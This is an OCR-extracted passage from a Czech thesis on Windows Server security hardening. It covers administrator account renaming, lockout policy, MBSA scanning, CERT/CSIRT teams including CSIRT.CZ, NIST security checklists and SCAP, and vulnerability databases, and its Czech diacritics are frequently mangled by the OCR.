pocitaci. Paklize by se do prolamovani uvedenych hesel zapojily pro to urcené systémy, at’ uz
vypocetni moznosti samostatnych grafickych karet, které se pro podobné slovnikové a brutal

force utoky hodi nejvice, tak po paralelné bézici grafické karty. Posledni heslo, které je uvedeno

ve tfetim sloupci by stfedné velikému botnetu trvalo rozlustit ptiblizn€ 5 minut.

Jednoduchym, ale efektivnim postupem, jenZ by mél byt béZnou soucasti hardeningovych
procesu je prejmenovani administratorskych Gc¢th na vSech serverech. Administratorsky ucet
byva primarnim cilem vSech utok, jelikoz v ptipadé, ze byl utok uspeésny, poskytuje hackerovi
zcela neomezena prava. Proto vychozi administratorsky ucet by mél byt nahrazen uctem
se stejnym nazvem, ale bez udé¢leni zvlaStnich prav, avsak opét se slozitym heslem. Takovy
ucet viibec nemusi byt pouzivan aslouzi jen jako pouhd navnada pro utocnikovy snahy.

Podobné ucty by mély byt vytvoreny i na lokalnich pocitacich.

Microsoft jako nejbezpecnéjsi politiku doporucuje, piejmenovat Ucet spravce na jedinecné
uzivatelské jméno, které se liSi na vSech serverech. Tim se také minimalizuje riziko, ze by

uto¢nik uspél pii zjistovani jména administratorského uctu a byl schopen prolomit heslo.

Originalni administratorsky ucet by se nemél nazvem liSit od ostatnich uctl. Administratorsky
ucet by vSak nem¢l byt ani pojmenovany podle jména administratora, jelikoz pfed zahdjenim

utoku, déla kazdy hacker prizkum, diky kterému ¢asto narazi i na jméno spravce.
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V praxi mize byt takova politika nezvladnutelna, jelikoz i ptes to, ze administratorsky ucet je
kritickd soucast pro spravu a plnéni ukoll, avSak neni v lidskych moznostech zapamatovat
si vSechny piihlasovaci udaje pro desitky zafizeni. Proto dostate¢nou ochranou by mélo byt

samotné piejmenovani spravce a jedinec¢na hesla pro servery.

3.7.4 Nastaveni ucéti
Ve vychozim nastaveni jsou vSechny Guest ¢ty na Windows Server 2003 zablokované. Paklize

administrator najde takovy ucet povoleny, mél by ho okamzité vypnout.

Nemén¢ dulezité je nastaveni uzamceni uzivatelského G¢tu po nékolika chybnych pokusech
0 ptihlaseni. Pro zajisténi maximalni bezpecnosti by mélo byt povoleno 3 az 5 neuspéSnych
pokust, které se vyresetuji po uplynuti ur¢ité doby. V extrémnich ptipadech je mozné nastavit

blokovani navzdy nebo alespoii do té doby, dokud neni idet odblokovan administratorem. B!

3.7.5 Odstranéni sdilenych soubori a nastaveni ACL
Soucasti hardeningu systému je také odstranéni vSech nepotiebnych sdilenych soubori
V systému, tim je mozné zabranit odhaleni dilezitych informaci a zaroven je tim znemoznéno

podezielym uzivatelim zneuzit sdilené polozky, jako vstup do mistniho systému.

Pocatecni nastaveni umoziiuje vSem uzivatelim plnd prava nad nové vytvorenymi soubory.
Administrator by mél nastavit ACL pro vSechny sdilené polozky, které¢ jsou pozadované

systémem tak, aby uZivatelé méli dostatecny ptistup. Naptiklad vSichni uzivatelé mohou Cist.
[31]

3.7.6 Instalace aktualizaci a antivirového softwaru

Administrator by nikdy nemél zapomenout na instalaci a pravidelnou aktualizaci antivirového
programu, ktery ochrani server pted Skodlivymi nastroji. Microsoft spolupracuje a podporuje
mnoho antivirovych vyrobcii. Jako ptiklad je mozné uvést antivirové programy od spole¢nosti
ESET nebo Kaspersky.
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4 MICROSOFT BASELINE SECURITY ANALYZER

Jednoduchy a snadno pouzitelny software, ktery je poskytovan malym a stfednim podnikim
pro urceni stavu zabezpeceni tak, aby byly v souladu s doporu¢enou bezpecnostni politikou
firmy Microsoft. Software je distribuovany s cilem odhaleni chyb v zabezpeceni, jako jsou

chybéjici aktualizace a dalsi bézné administrativni chyby pii spravé systému.

Nastroj spustitelny na vSech pocitacich, které obsahuji systém Windows vyjma Windows RT.
MBSA neni zamétfeny pouze na operacni systém Windows, ale také na jeho komponenty. SQL
server, Internet Explorer, Windows Media Player, Exchange Server a dalsi aplikace a moduly,
které jsou provozovany pod opera¢nim systémem, jsou predmétem zkoumdani. MBSA
je schopny vzdalené zpracovavat vice pocitacti bez ohledu na to, zda jsou pfipojené na internet

a zaroven posuzovat, zda na nékterém zatizeni chybi potiebné zabezpeceni nebo aktualizace.
[32]

Uzivatel, ktery provadi kontrolu, musi mit administratorské opravnéni na vSech kontrolovanych
pocitacich, bez ohledu na to, zda je kontrola provadéna vzdalené. Proto, aby mohla byt
provadéna vzdalena kontrola, musi mit uzivatel dostate¢né opravnéni, ale zaroven musi povolit

sdilené poloZky.

& Microsoft Baseline Security Analyzer 2.3 - X

| Microsoft

©® ¥ Baseline Security Analyzer

~
Report Details for WORKGROUP - MSEDGEWIN10 (2017-07-25 08:15:25)
y | Security assessment:
&' Severe Risk (One or more critical checks failed.)
‘Computer name: WORKGROUPYWSEDGEWIN 10
1P address: 10.0.2.15
Security report name: WORKGROUP - MSEDGEWIN10 (7-25-2017 8-15 AM)
Scan date: 7/25/2017 8:15 AM
Scanned with MBSA version: 2.3.2211.0
(Catalog synchronization date:
Security update catalog: Microsoft Update
SortOrder: | Score (worst first) W
Security Update Scan Results
Score  Issue Result
<] Silverlight 1 security updates are missing.
Security Whatwas scanned  Resultdetalls  How to correct this
Updates
1%} Windows 2 security updates are missing. 1 service packs or update rollups are missing.
Security Whatwas scanned  Result details  How to correct this
Updates
@ SQL Server Mo security updates are missing.
Security Whatwas scanned  Result details
Updates
Windows Scan Results
Administrative Vulnerabilities
Score Issue Result
] Automatic The Automatic Updates feature has not been configured on this computer. Please upgrade to the latest Service Pack to obtain the latest version of this feature and then use the
Updates Control Pane! to configure Automatic Updates.
What was scanned How to correct this v
1] Autologon Autologan is configured en this computer.
% Print this report 1) Copy to diphoard R — U

Obrazek 12 - BSA - seznam nalezenych hrozeb, Zdroj: Viastni
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5 CERT/CSIRT

Computer Emergency Response Team (CERT) nebo Computer Security Incident Response
Team (CSIRT), i kdyz maji odli$nou historii i vyznam, se za témito dvéma nazvy a zkratkami
skryva jedna a ta sama expertni skupina, ktera se zabyva bezpecnostnimi incidenty od pocatku
90. let a vznikla v reakci na Morristv Cerv, jenz pied svym odhalenim stihl nakazit zna¢né

mnozstvi pocitacl v internetu.

Ackoliv vznik podobnych tymu, které by reagovaly na bezpecnostni hrozby, nebyl ptevratnou
myslenkou, jelikoz podobné skupiny existovaly interné v mnoha vétSich organizacich, jenz
potiebovaly chranit sva data, byla hlavnim rozdilem skutecnost, ze bezpecnostni CSIRT tymy
byly na rozdil od internich, zapojené do svétové bezpecnostni infrastruktury, kde jednotlivé

tymy spoleéné spolupracovaly a sdilely tak postupy i informace.

Vznikajici utvary po celém svété byly piimou reakci na rozSifujici se problémy
kyberkriminality. Od vzniku CSIRT se postupné definovalo, jak maji tyto utvary fungovat,
jejich pole plisobnosti, typy nabizenych sluzeb, zaclenéni do mistniho prava, ale také spole¢na
komunikace CSIRT tymi. Dnes jsou jasné definovana pole piisobnosti a je jasné vymezena
zodpovédnost za feseni vyskytnutych bezpecnostnich incidentd. CSIRT expertni skupiny jsou
to spravné misto, kam se mohou uZivatel¢é nebo 1 ostatni bezpeCnostni tymy obratit
s podezienim nebo bezpe€nostnim incidentem. Tymy vznikaji v prostiedi jednotlivych
organizaci, které se podileji na chodu internetu, od spravct a poskytovateli sluzeb a obsahu
(kuprikladu banky, které k vykonu své cinnosti potiebuji internet), akademické utvary,

vefejnou spravu, po internetové providery. [l

Povinnosti kazdého bezpec¢nostniho tymu je spoluprace a feSeni problému, které se obvykle

vyskytly v béhem jeho piisobeni, kupiikladu v ramci vlastni site.

CSIRT tymy se déli na dva typy, koordina¢ni a interni. Koordina¢ni tym neni organem, ktery
by mél moznost néco nafizovat, ale usilujici o to, aby se informace o hrozicim nebezpeci
dostala k tomu, kdo ma moznost ¢i povinnost provést nezbytné kroky k eliminaci hrozby.
Zasahy velmi ¢asto mohou prosazovat pouze v rdmci svého zfizovatele a poZzadavky na zasahy
Vv jinych sitich mohou pfeddvat dal§im zfizovatelim. V ptipadé bezprostiedni hrozby maji za
cil zastavit $ifeni a pomoci disledné prevence nedovolit vzniku novych incidentl. Interni tymy

maji moznost odpojit zdroj problému nebo uvést do provozu filtrovani sitového provozu.
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Jen nékteré tymy maji rozsifené pravomoci, €asto jsou ziizeny nebo provozovany organy statu
nebo na zakladé jejich povétreni, mohou zasdhnout U konkrétnich vlastnik siti, jez nasledné

blokuji nebo odpoji.
Zakladnich pozadavky na CSIRT tymy:

1. zvetejnéni kontaktnich informaci

2. zvetejnéni pole plisobnosti — definovani pravomoci a odpovédnosti

3. zvefejnéni pravidel ¢innosti — seznam ¢lentl, zptisob kontaktovani tymu
V piipadé vyskytu bezpecnostni hrozby fesi incident jen pfimo zucastnéni nebo ti, pod které
incident spadd, nejcastéji tak fes$i incidenty spravcové sité ¢i administratofi sluzeb.
Nejefektivnéjsi situace nastava ve chvili, kdy incident spadd do pisobnosti CSIRT tymu,
jelikoz ten musi mit odbornika, ktery se problémem bude okamzit¢ zabyvat. Paklize neexistuje
zadny CSIRT tym, ktery by se zabyval incidentem nebo hrozbou, poskytuji do jist¢ miry

podporu narodni a vladni tymy.

5.1 Narodni CSIRT

Ackoliv zadna oficialni hierarchie CSIRT tymii neexistuje, jsou narodni tymy povazované za
posledni instanci, u které je mozné hledat pomoc. Tymy v ramci statu, ve kterém funguji,
vétSinou nemaji moc nad fyzickou infrastrukturou, ktera je ve vlastnictvi soukromych osob ¢i
organizaci, tak nemaji moznosti pfimého zasahu podobné jako instituciondlni nebo interni
tymy. JiZz z hierarchie jednotlivych tymu je mozné odvodit, Ze na narodni urovni je feSeno
minimum veskerych vyskytnutych problémi a ze prevazné vétSina je vyfeSena v ramci pfimé
komunikace na urovni instituciondlnich tymui. Zbyvajici problémy, které se dostanou
K narodnim tymum, jsou zavazné nebo opakujici se problémy, které nejde fesit na lokalni

arovni. 138

Nérodni tymy spadaji do kategorie koordina¢nich tymt, jejichZ jedinym moznym feSenim
problému je v udrzovani komunikace a koordinaci jednotlivych fesiteld, za piredpokladu,
ze se jedna o problém rozsédhlejSiho charakteru. Narodni tym se také snazi 0 vzdélavani

vetejnosti s cilem zakladani novych CSIRT tymi a jejich napojovani do mezindrodni struktury.

5.2 Vladni CSIRT

Vladni tymy se specializuji na ¢innost statni spravy a jejich organti a pomahaji fesit incidenty,
které jsou piimou hrozbou pro bezpe¢nost a fungovani statu. Vladni CSIRT tymy maji specialni
podobu, jelikoz jejich fungovani je upraveno legislativné a tak jsou pii vyskytu problému
schopni pfimo zasahnout. V1adni CERT tym, ktery byl zfizen podle zdkona 0 kybernetické
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bezpeénosti, Unas zastituje NUKIB. Seznam viech registrovanych narodnich a vladnich

CSIRT tymi, je mozné dohledat na strance:

http://www.cert.org/incident-management/national-csirts/national-csirts.cfm

5.3 Sdileni informaci

Z uvedeného déleni by se dalo predpokladat, ze interni tymy jsou podfizené narodnim a narodni
vymeéna informaci mezi jednotlivymi tymy je nezbytna, ale predevsim neni nijak limitovana.
Jedinym rozdilem oproti internimu a vladnimu tymu miiZze byt pouze vétsi dosah pravomoci

atedy i z hlediska pozadované odezvy tfeba ze strany ISP.

Kli¢ova je pravé vymeéna informaci a S tim i divéra, ktera mezi jednotlivymi tymy panuje, bez
niz by cely systém nemohl fungovat. Bez vybudovani podobné duvéry, ktera vladne mezi
jednotlivymi tymy, ale také mezi klienty, ktefi se obrati na CSIRT s zadosti o pomoc. Ziskani
duvéryhodnosti klienta a celé komunity neni kratkodobym cilem a bez transparentnosti celé
organizace a korektniho zachazeni s citlivymi daty, by se to nemuselo podafit. Pro zachovani
transparentnosti a davéryhodnosti existuji organizace, které se vénuji vyvoji doporucenti,
standardi  a pravidel. Napiiklad nadnarodni organizace TERENA vydava certifikaci
organizacim, jenZ projdou akreditacnim programem a tim déava jisté zaruky, ze tym ktery o sob&

tvrdi, Ze je CSIRT tymem je opravdu tim, za koho se vydava. [

TERENA také svolava pravidelné konference a setkani, béhem kterych je mozné zapojit se do

Task Force for CSIRT (TF-CSIRT).

Podobnou ¢innost provadi také i FIRST (Forum of Incident Response and Security Teams),
jenz je organizace, ktera sdruzuje Sirokou Skalu tyma zaméfenych na bezpecnost a reakci na
mimotadné udélosti. FIRST potada celou fadu Skoleni a konferenci a také se pokousi o osvétu

nejen v sitové bezpecnosti.

5.4 CSIRT CR

Ceska republika samoziejmé nestoji stranou a podporuje budovani CERT/CSIRT tymi riiznych
urovni véetné narodnich. Nicméné nebylo tomu tak brzy jako v jinych statech, kde prvni CSIRT
tymy vznikaly vladnimi iniciativami. Ackoliv v roce 2001 byl Ministerstvem vnitra vypracovan
dokument, kde byl stanoven termin na zfizeni prvni CERT skupiny jako nevladniho sdruzeni
odbornikli informujici o problémech a probihajicich Utocich. Zaméry vSak splnény nebyly

a teprve az o pét let pozdéji vznikla prvni CERT v ramci celostatni sit¢ CESNET.
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V soucasné dobé existuje v Ceské republice n&kolik stovek bezpeénostnich tymd, které jsou
¢leny FIRST nebo TF-CSIRT a ptisobici na internich trovnich. Za posledni roky ptibyvaji
v Ceské republice nové bezpeénostni tymy typu CERT/CSIRT. Jednim z poslednich je tieba
spolecnost Seznam a.s., ale také starsi kupiikladu CSIRT-VUT, CSIRT-MU, O2.cz CERT
a mnoho dalSich. Pro jednoduché ovéreni, zda je CSIRT tym ovéfeny je mozné pouZzit spravce

certifikath ~ TF-CSIRT() nebo  aktualni  seznam  na  strankach  CSIRT.cz

(https://www.csirt.cz/page/886/spoluprace/). Pravé CSIRT.CU plni roli Narodniho tymu Ceské
republiky a je provozovan na zakladé dohody s Narodnim bezpe¢nostnim tfadem, sdruzenim
CZ.NIC aje provozovany na zakladé vefejnopravni smlouvy a Zakona o kybernetické
bezpec¢nosti. Zaméiuje se na rozvoj bezpecnostni infrastruktury, vzdélavaci ¢innost a také na
zpracovavani vefejnych dat o vyskytnutych bezpegnostnich hrozbach v Ceské republice.
Dalsim z cild je podpora a udrZzovani vztah s komunitou a spoluprace se subjekty, jako jsou
poskytovatelé internetu, banky, bezpecnostni slozky ¢i urady. Tym CSIRT.CZ ¢itajici 10 ¢lent
je akreditovanym piislugnikem CSIRT/CERT tymii od roku 2011, B3IB34]

V nasledujici tabulce je mozné pozorovat meziro¢ni nartst incidentd, které potebovaly hlubsi

analyzu a feSeni skoro ve vSech kategoriich.

Tabulka 3 - Statistika FeSeni incidenti CSIRT.CZ, zdroj. www.csirt.cz
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Obrazek 13 - Graf FeSenych incidenti, Zdroj: viastni

V roce 2016 trend narGstu incidentli pokracoval a zaroven bylo postiZeno véEtSi mnozZstvi
subjektt. VEtsi vyskyt byl u incidentd typu DOS a Botnet, ktery meziroéné zaznamenal znaény
nartst. Dal§im piikladem incidentl, postihujici veliké mnozstvi uzivateli byla kompromitace
5000 emailovych schranek, které byly zcizeny z ¢eského portalu. Informace o zcizeni obdrzel
CSIRT.CZ od vladniho CERT a dale byly ziskané informace ptedany jednotlivym drziteliim,

ktefi pak méli moznost upozornit uzivatele zcizenych schranek. 24

52



6 NIST

National Institute of Standards and Technology neboli Narodni institut standardt a technologie
je standardizaéni laboratof a neregulovana agentura spadajici pod Ministerstvo obchodu USA.
Organizace byla vytvorena navrhem kongresového zakona v roce 1901 a hned od prvopocatku
se zabyvala standardizaci a poskytovanim metrologickych sluzeb americkym obchodnikiim
a védcim. Oficidlnim cilem instituce je podpora inovaci a prumyslové konkurenceschopnosti
v USA diky pokroku ve védé, norméch a technologiich a to takovym zpiisobem, ktery zvysuje
ekonomickou bezpecnost a zlepSuje kvalitu Zivota. Organizace se sidlem v Marylandu, avsak
operujici v Coloradu, déli své aktivity do nékolika programi, které se béhem let ménily
na zéklad¢ vyvijejicich se priorit. Dnes se NIST zabyva Sirokym spektrem véci, a proto
obsahuje laboratoie zabyvajici se nanotechnologiemi, komunika¢nimi technologiemi,
informac¢nimi technologiemi, vyzkumem neutrontl, laboratote pro méfeni materialii a fyzikalni

mé&fici laboratore. [37]

6.1 Narodni repozitar kontrolnich seznamii NIST

Notné mnozstvi organizaci vytvari vlastni seznamy, ackoliv tyto checklisty se mohou velmi
lisit ve kvalité a pouzitelnosti. Tyto seznamy se mohou odlisovat jeden od druhého stupném
poskytovaného zabezpeceni, neméné casto dochazi k jejich neaktualnosti, z divodu neustalého
vyvijeni zéplat a softwarovych aktualizaci. Proto miZze byt komplikované zjistit, zda
je checklist aktualni nebo jak by mél byt spravné implementovan. Bez pouziti centralniho

repositafe kontrolnich seznamu, miize byt komplikované najit spravny checklist.

NIST spravuje vetejné dostupné ulozisté narodnich kontrolnich seznamd, které obsahuje
znacné mnozstvi bezpe€nostnich konfiguraci pro specifické IT produkty nebo kategorie IT

produkti viz.: https://nvd.nist.gov/ncp/repository. Organizace také doporucuje jednotlivym

vyrobciim a dodavatelim IT produkts, aby vyvinuli vlastni kontrolni seznamy pro své produkty

a piispéli s nimi do Narodniho repositie kontrolnich seznami NIST. [l

V soucasné dobé neni mozné pokladat checklist za naprostou prevenci pro zabezpeceni

systému. Stale je nutné provadét bézné aktualizace a patche, které opravuji nalezené chyby.

Checklisty produkované organizaci NIST se d€li do n¢kolika kategorii. Kazdéa kategorie by
méla byt jednoduSe identifikovatelnd diky velikym rozdilim, které jednotlivé seznamy
obsahuji. Checklist prvni kategorie popisuje, jak mize uzivatel ruéné meénit konfiguraci
produktu. Narozdil od toho checklisty ctvrté kategorie jsou automatizované a zcela

nejkomplexnéjsi. Takovy checklist miize mit vSechny bezpecnostni nastaveni dokumentované
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ve strojove Citelném, standardizovaném protokolu, ktery ma feSené zabezpeceni na nizké

i vysoké tirovni.l0

Pro zabezpeceni systému je mozné pouzit nékolik checklist. Jeden checklist se miize zabyvat
zabezpecenim opera¢niho systému a druhy webovym prohlizeCem, emailovym klientem

ptipadné dal§imi dtlezitymi aplikacemi, které jsou vyzadovany pro chod systému.

Uzivatelé, ktefi planuji implementaci checklistl za ucelem zabezpeceni systému, by méli
vSechny zmény, které budou provedeny prvné zvazit a otestovat na jiném zafizeni, predtim nez
jej nasadi do produk¢niho prostiedi. Ackoliv vétSina nastaveni, které seznamy obsahuji, jsou
zaloZeny na znalostech bezpecnostnich hrozeb a slabin, nemusi brat v tvahu bezpecnostni
politiku specifické organizace a jeji jiz existujici zabezpec€eni. Z toho diivodu by organizace
méli peclivé vyhodnocovat veskera nastaveni, které checklist doporucuje. Na zaklad¢ analyzy
by mélo dojit k pfizpiisobeni nastaveni vii¢i prostiedi, zdsaddm, pozadavkiim a bezpe¢nostnim

cilim organizace.

6.2 Typy checklistii uvedené v programu Narodniho kontrolniho seznamu
Jednotlivé kontrolni seznamy jsou vazany na konkrétni produkty, model nebo vyrobce. Nékteré
checklisty mohou vést uzivatele k jinym. Napftiklad kontrolni seznam pro databaze se muze

odkazovat na kontrolni seznam pro operac¢ni systém, na kterém databazova aplikace bézi.
Checklisty se déli na dvé veliké skupiny: automatické a manualni.

Automaticky checklist pouZziva jeden nebo vice nastrojl, které¢ automaticky méni nebo ovétuji
nastaveni na zakladé€ n¢kterych preddefinovanych podminek. VéEtSina automatickych checklistl
je psana v XML. Specialni programy jsou schopny piecist instrukce zapsané v XML a podle
nich zkontrolovat nebo zmeénit nastaveni systému. Jednim z takovych nastroji je SCAP
(Security Content Automation Protocol), jenz umoziuje automatické vyhodnocovani, méteni
a vyhodnocovani shody nasazenych politik systému. Druhou skupinou je manualni testovani,

které je provadéno administratorem na zakladé popsanych instrukci a doporuceni.

6.3 Security Configuration checklist

Bezpecnostni checklist, pfirucka pro hardening, benchmark to vSe jsou nazvy, které jsou
sjednoceny v dokumentu, jenz je sepsany a zformovany organizaci NIST, jako série instrukci
pro konfiguraci produktu do konkrétniho provozniho prostfedi. Checklist mize obsahovat
Sablony, automatické skripty, patche ¢i jejich popisy, XML soubory a dalsi procedury, které

jsou nezbytné pro dosazeni compliance. Tyto seznamy by mély byt piizptisobeny pro potieby
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konkrétni organizace tak, aby spliiovali jejich bezpecnostni a operani pozadavky. Nekteré
checklisty mohou také obsahovat instrukce pro ovéteni, zda byl produkt korektné
nakonfigurovan. Bézn¢ jsou takové seznamy formovany vyrobci, pro jejich vlastni produkty,
ale nemén¢ Casto jsou formované ostatnimi organizacemi, jako jsou univerzity, spole¢nosti
a vladni agentury. Jak bylo naznaceno, NIST spolupracuje s riznymi organizacemi jako je CIS,
DISA (Defense Information Systems Agency), NSA (National Security Agency) a vSechny toto
organizace se podileji na vyvoji doporuceni. Pouziti dobfe napsané¢ho standardizovaného
seznamu operaci mize vyznamné snizit pocet zranitelnosti u IT produktd. Organizace ¢i
spole¢nosti by mély pouzivat tyto vefejné seznamy tak, aby zabezpecily své operacni systémy
i aplikace a tedy i snizily vyskyt zranitelnosti, které mohou byt Gto¢niky vyuzity a tim i zmirnit

dopady uspésnych utok.

Bezpecnostni checklist mize obsahovat nasledujici véci:

Konfigura¢ni soubory, které automaticky ovéiuji nataveni
o skripty, Sablony ménici nastaveni, XML soubory

e Dokumentaci, podle které se provadi konfigurace

e Dokumentaci, vysvétlujici divody pro doporu¢ené zmény a navod pro bezpe¢nou instalaci
a konfiguraci zafizeni

e Koncep¢ni dokumenty, které stanovuji pokyny pro auditovani autentizacnich mechanizmd, jako

jsou bezpecnostni hesla
Ne vSechny instrukce, které jsou obsazené v konfiguracnich seznamech, musi nezbytné cilit na
nastavovani bezpecnostnich pravidel. Velice €asto jsou uspésné utoky na systém vysledkem
nedostate¢né bezpe€nostni politiky v ramci administrativnich praktik, jako jsou nezménéna
defaultni hesla, neaplikovani novych zaplat a dalsi. Coz je jednim z divodd, pro¢ jsou
v checklistech Casto obsazeny administrativni praktiky, které samy o sobé vylepsuji

zabezpedeni produktu B9
Ptiklady vyuziti Security configuration checklistu:

e Vicelcelové operacni systémy

e Bé&zné desktopové aplikace (webové prohlizeCe, emailovy klienti, textové editory, antivirové
programy a mistni firewally)

e Infrastrukturni zafizeni (routery, firewally, VPN, IDS, AP)

e Aplikacni servery DNS, DHCP, SMTP a databazové servery

e Telefony, kopirky, tiskarny
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6.4 Benefity pouziti bezpecnostnich checklisti

Spravné pouziti bezpecnostnich checklisti je pfedpokladem pro vétsi miru zabezpeceni nez
u pfedem definovaného nastaveni. Aplikovanim checklistti do opera¢nich sytému a aplikaci se
muze snizit pocet slabin, které mohou byt uto¢niky zneuzity pro Uispé$né napadeni systému,
zaroven také snizuji dopady uspesnych utokti. Pouziti checklisti vylepSuje konzistenci
a predvidatelnost chovani systémového zabezpecCeni zejména ve spojeni s vycvikem
a zvySovanim povédomi uzivatell. DalSimi benefity, které pouziti checklisti pfinasi je
zabezpeceni proti zdkladnim lokalnim a vzdalenym hrozbam typu vird, riznych cervii, DoS
utokiim, neautorizovanému piistupu nebo zabranéni nevhodnému pouziti. Checklisty nejen
mohou piispét k vyraznému snizeni Casu, ktery je potfebny pro vyzkum a vyvoj vhodné
konfigurace zabezpeceni jednotlivych instalovanych produktl, ale snizuji pravdépodobnost
ztraty nebo zcizeni divérnych dat, které mohou vyustit k financni ztrat€¢ nebo jen ztraté
davéryhodnosti. Dale umoziuji mensim organizacim vyuzivani externich dodavatel, ktefi jsou
schopni implementovat doporucené postupy. Ackoliv pouzivani bezpecnostnich konfiguraci
obecné zvySuje stupenn zabezpefeni systémill, ne€ini systém zcela bezpecnym. PouZzitim
checklistt, které kladou diraz na hardening proti skrytym chybam v softwaru, se obvykle

projevi vyssi tirovni zabezpeéeni produktu pied budoucimi hrozbami.[*!

6.5 Proces vybirani checklistu

Procedura uzivatele pro vybrani spravného checklistu spociva v nékolika krocich.

1. Sbér lokalnich pozadavkl na hardware, operacni systém, specifické bezpecnostni
pozadavky a poté ndkup nutného vybaveni, které nejlépe vystihuje pozadavky.

2. Uzivatel v repozitafi vyhleda a ziska pozadovany checklist, ktery nejlépe vystihuje
jeho potieby. Paklize byl produkt jiz zabezpecen vyrobcem, avsak uzivatel chce mit
naprostou jistotu, Ze je produkt bezpecny, je nezbytné najit spravny kontrolni scénar
a vyhledat, zda checklist nebyl aktualizovan.

3. Uzivatel zkontroluje vsechny body checklistu a vybere takovy, ktery nejlépe vyhovuje
jeho pozadavkiim, a poté v piipad¢€ potieby, pfizplisobi seznam vlastnim potfebam tak,
aby zohlednil mistni politiku a nastaveni. Nasledn¢ by mél checklist otestovat
a poskytnout zpétnou vazbu vyvojaiim z NIST.

4. Posledni fazi je nasazeni checklistu, s ¢imZ souvisi 1 vytvoreni zalohy dat a aplikovani
checklistu na produkéni prostiedi.

Checklist pro vyvojare je o néco obsahlejsi a d€li se na dvé samostatné faze. Prvni faze zcela

zalezi na developerovi a ve druhé fazi na NIST, ktera projde kontrolni seznam.
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8.

Vyvojar se seznami s procedurami a s pozadavky pro vytvoreni kontrolniho programu
a vyplni smlouvu o tcasti na programu.

Developer vytvori, otestuje kontrolni seznam.

Vytvoii dokumentaci k checklistu podle pravidel NCP.

Odeslani balicku obsahujici kontrolni seznam do NIST.

NIST prohlédne kontrolni seznam a podle pozadavk fesi nalezené problémy

S vyvojaiem.

NIST zvefejni checklist v testovacim obdobi, které obvykle trva od 30 do 60 dni.
Béhem testovaci doby jsou sbirany podnéty K piezkoumani vyvojafi, ale také NISTu.
NIST zvetejni metadata kontrolniho seznamu na svém ulozisti a oznami jeho
dostupnost.

Provedeni periodickych aktualizaci a archivace jednotlivych verzi.

6.6 Security Content Automation Protocol

SCAP je mnozstvi standardii, které jsou spravované primarné organizaci NIST. Jedna se

0 specifickou metodu, ktera umoziuje automatickou kontrolu a porovnavani zranitelnosti na

systémech, které jsou spusténé organizacemi. Protokol byl vytvoren za ucelem standardizace

zabezpeceni systému a pro automatické ovéfovani pritomnosti kritickych systému.

Cilem této automatické kontroly je usnadnéni procesu hardeningu a dosazeni shody s NIST

checklisty. Jednotlivé organizace musi prubézné kontrolovat systémy a aplikace, které jsou

spusténé a bézi v jejich systémech, ale zaroven musi zaélenovat bezpe¢nostni aktualizace

softwaru. SCAP porovnd mnozstvi otevienych standardd, které jsou obecné pouzivané

k enumeraci chybnych konfiguraci a kritickych chyb v softwaru. Nékteré aplikace provadéji

kontrolu oproti existujicim standardim za G¢elem nalezeni slabin systému a zaroven nabizeji

moznost vyhodnotit nalezené hrozby a jejich mozny dopad na systém.
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7/ SOLUTION ACCELERATOR

Solution akcelerator je nastrojem Microsoft Security Compliance Manager (Spravce shody
S bezpecnostnimi pravidly). Nastroj je vydavany pro rizné typy operacnich systému spolecnosti
Microsoft a slouzi jako nastroj pro hardeningovou konfiguraci. SCM je navrzeny tak, aby
poskytoval komplexni feSeni, tedy od naplanovani, nasazeni a monitorovani bezpe¢nosti na
pocitacich, které provozuji produkty Microsoftu. Vychozi body je mozné exportovat jako

konfigura¢ni balicky pro kontrolu shody s konfiguraénim manazerem Microsoftu.

Zakladnim kamenem je sada polozek konfigurace pro produkty Microsoftu, jenz poskytuje
predepsané hodnoty pro vyfeSeni specifickych scénaiti. Bezpecnostni pravidla poskytuji

pokyny a technické udaje k efektivnimu pochopeni hrozeb a k implementaci protiopatieni.

Tyto znalosti jsou dostupné pies SCM, ktery nabizi dostatecné mnozstvi moznosti
K prizpisobeni bezpecnostnich pravidel, za ucelem specifickych pozadavk organizace.
Podobn¢ jako BSA umoziuje detailni pohled na slabiny, které jsou specifické pro operacni
systém, jeho aplikace, vCetné nastaveni internetového prohlizece a dale informacné nabizi

potencialni zhodnoceni hrozby. 1[4l

Jak uz bylo naznaceno Security Compliance Manager poskytuje centralizovany pohled na
funkce, zékladni spravu zabezpeceni, umoziiuje flexibilné ptfizplsobit nastaveni a také export
téchto zékladnich bezpe¢nostnich nastaveni, ¢imz se zvysuje schopnost dosadhnuti bezpecnostni
shody na vice zafizenich. Pro hardening systému je uzitecné vyuzit zkuSenosti profesionald

pracujicich v oblasti zabezpeceni, ¢imz je mozné usetfit nejen Cas, ale také penize.
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8 SEZNAM NALEZENYCH SLABIN A HROZEB

Existuje nékolik organizaci, které nejen ze vyvijeji vlastni standardy, ale také se snazi
poskytovat aktualni piehledy 0 existujicich hrozbach. Jednou z takovych organizaci je pod
NIST spadajici National Vulnerability Database (NVD), jenZz nabizi piehled zranitelnosti.
Zranitelnosti je mozné filtrovat na zéklad¢ zjisténi hrozby, aktudlnosti, ale také dle riznych
kategorii a skupin, takze v ptipadé¢, Ze administrator potiebuje ziskat informace 0 slabinach
tykajici se pouze operacnich systémil, zad4 nutna klicova slova do vyhledavani a systém mu
zobrazi seznam zvetejnénych slabin, véetné informaci, kdy byla slabina zvetejnéna, ale také
zavaznost hrozby. Po otevieni vybrané hrozby je mozné dohledat jednotlivé dopady, ale také
to, jak je mozné slabinu vyuzit. Kuptikladu se zde nachazi informace, jak musi byt slabina
zneuzita, aby dosSlo k ohrozeni systému. Napftiklad to, Ze cil ur€itym zpisobem reagoval
s Gtoéicim mechanismem. V této Casti se i nachazi popis, jaké opravnéni uto¢nik ¢i Gtocici
mechanismus ziské nebo jaké informace mlize diky zneuziti Gtoc¢nik ziskat. Déle je zde mozné
najit dalsi odkazy vedouci na stranky, které mohou mit vice informaci tykajici se hrozby

pripadné na stranky, obsahujici opravné zaplaty.

e https://nvd.nist.gov/vuln/search/results?adv_search=true&form type=advanced&cpe version

=cpe:/o:microsoft:windows 7

Dalsi organizaci, ktera pravidelné upozornuje a informuje 0 nové vyskytnutych hrozbach je
Niérodni tifad pro kybernetickou a informaéni bezpenost (NUKIB) a organizace CSIRT.CZ.
NUKIB informuje predeviim 0 hrozbach a popisuje hrozby a postupy $ifeni, ale také vydavaji
doporucéeni postizenym uzivatelim. Na rozdil od toho CSIRT spise ve form¢ aktualit plni
informativni sluzbu vefejnosti. Informuji 0 provedenych fttocich, zneuzitych hrozbach

a aplikaci.

e https://www.govcert.cz/cs/informacni-servis/hrozby/

e https://www.csirt.cz/news/security/

